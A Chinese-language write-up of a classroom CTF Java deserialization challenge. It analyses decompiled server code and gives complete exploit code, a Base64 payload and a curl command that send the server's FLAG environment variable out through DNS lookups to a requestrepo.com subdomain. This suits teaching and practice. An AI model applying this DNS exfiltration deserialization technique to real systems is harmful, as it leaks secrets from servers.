web反序列化漏洞利用课堂练习

这是一个反序列化题

main里有判断ser字段是否为空。decode = Base64.getDecoder().decode(ser)这里ser被取出解码,还原成序列化二进制流(?这啥啊)

然后会触发MyObjectInputStream对decode的检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/* loaded from: unser.jar:ucas/web/Main.class */
public class Main {
public static void main(String[] args) {
HttpUtil.createServer(8888).addAction("/", (request, response) -> {
String ser = request.getParam("ser");
String result = "";
if (ser == null) {
response.write("welcome,plz input param ser", ContentType.TEXT_PLAIN.toString());
}
try {
byte[] decode = Base64.getDecoder().decode(ser);
MyObjectInputStream inputStream = new MyObjectInputStream(new ByteArrayInputStream(decode));
inputStream.readObject();
} catch (Exception e) {
result = e.toString();
}
response.write(result, ContentType.TEXT_PLAIN.toString());
}).start();
}
}

大概就是检查有没有黑名单中的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/* loaded from: unser.jar:ucas/web/MyObjectInputStream.class */
public class MyObjectInputStream extends ObjectInputStream {
private static final String[] blacklist = {"java\\.security.*", "java\\.rmi.*", "com\\.fasterxml.*", "org\\.springframework.*", "org\\.yaml.*", "javax\\.management\\.remote.*", "cn\\.hutool\\.*"};

public MyObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

@Override // java.io.ObjectInputStream
protected Class resolveClass(ObjectStreamClass cls) throws IOException, ClassNotFoundException {
if (!contains(cls.getName())) {
return super.resolveClass(cls);
}
throw new InvalidClassException("Unexpected serialized class", cls.getName());
}

public static boolean contains(String targetValue) {
for (String forbiddenPackage : blacklist) {
if (targetValue.matches(forbiddenPackage)) {
return true;
}
}
return false;
}
}

FakeURL里,hashCode在this.hashcode != -1时会调用getHostAddress拿到System.getenv(“FLAG”)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public class FakeURL implements Serializable {
private String host;
private int hashcode = -1;

public FakeURL(String host) {
this.host = host;
}

synchronized InetAddress getHostAddress() throws UnknownHostException {
if (this.host == null || this.host.isEmpty()) {
return null;
}
try {
InetAddress hostAddress = InetAddress.getByName(System.getenv("FLAG") + '.' + this.host);
return hostAddress;
} catch (SecurityException | UnknownHostException e) {
return null;
}
}

public synchronized int hashCode() throws UnknownHostException {
if (this.hashcode == -1) {
return this.hashcode;
}
int h = 0;
InetAddress addr = getHostAddress();
if (addr != null) {
h = 0 + addr.hashCode();
} else if (this.host != null) {
h = 0 + this.host.toLowerCase().hashCode();
}
return h;
}
}

只要我们能触发 FakeURL.hashCode(),且满足 this.hashcode != -1就能发起 DNS 请求。

我们需要一个在反序列化过程中会自动调用 hashCode() 的类。java.util.HashMap 是最常用的选择。(不知道,llm说的)

网页服务器收到请求,通过前面的解析和检查流程之后,将对象恢复为HashMap。HashMap 内部存储的是键值对。为了在内存中重建这个表,它必须确定每个 Key 应该放在哪个“桶”里。于是HashMapreadObject 会循环对每个 Key 调用 hash(key) 方法,hash(key) 内部紧接着调用了 key.hashCode(),此时key就是构造的FakeURL,于是调用的是FakeURL.hashCode()。这样就接起来了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package ucas.web; // 包名必须与题目一致

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class Exploit {
public static void main(String[] args) throws Exception {
// 1. 实例化 FakeURL,host 指向你的 DNS 地址
FakeURL fakeURL = new FakeURL("m68gfag1.requestrepo.com");

// 2. 根据题目逻辑:hashCode 只有在不等于 -1 的时候才会触发 getHostAddress
// 我们利用反射将 hashcode 设为 0(或其他非 -1 的值)
Field hashcodeField = fakeURL.getClass().getDeclaredField("hashcode");
hashcodeField.setAccessible(true);
hashcodeField.set(fakeURL, 0);

// 3. 放入 HashMap
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(fakeURL, "test");

// 4. 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(hashMap);
oos.close();

// 5. Base64 编码输出
String payload = Base64.getEncoder().encodeToString(baos.toByteArray());
System.out.println("Payload (Base64):");
System.out.println(payload);
}
}

FakeURL直接用jadx导出的。java的包啊类啊路径啊什么的老严了相当的烦人。编译:

1
2
3
4
5
# 编译整个包
javac ucas/web/*.java

# 运行 Exploit
java ucas.web.Exploit

这里创建FakeURL必须填一个你能获取dns记录的子域名。因为程序运行时会尝试解析域名System.getenv(“FLAG”) + ‘.’ + this.host,类似于flag.example.com这样的,于是example.com会收到dns查询日志,日志中能看到flag

1
InetAddress.getByName(System.getenv("FLAG") + '.' + this.host);

如何获取这样一个子域名呢,可以用https://requestrepo.com/(很好很快推荐),dnslog太慢了太慢了我卡了好久😭

得到输出之后拼到网页的url里

1
http://124.16.75.116:52005/?ser=rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IAEHVjYXMud2ViLkZha2VVUkwrrKQLqAuVzgIAAkkACGhhc2hjb2RlTAAEaG9zdHQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwAAAAAHQAGG02OGdmYWcxLnJlcXVlc3RyZXBvLmNvbXQABHRlc3R4

或者用curl命令

1
curl.exe --get --data-urlencode "ser=rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IAEHVjYXMud2ViLkZha2VVUkwrrKQLqAuVzgIAAkkACGhhc2hjb2RlTAAEaG9zdHQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwAAAAAHQAGG02OGdmYWcxLnJlcXVlc3RyZXBvLmNvbXQABHRlc3R4" http://124.16.75.116:52005/

查看日志,hostname的前缀就是flag了。会有一些奇怪的随机大写,全部转小写

image-20260331162412910

1
flag{java_deser_hashmap_dns_01}

总结一下,分析程序得到大致的执行流程和检查方法,发现要获取的flag存在于远程的环境变量中,并且可以通过FakeURL的getHostAddress()方法被带出,于是问题变成了怎么触发这个方法(构造FakeURL),和怎么获取到带出的flag(获取可以看到日志的子域名)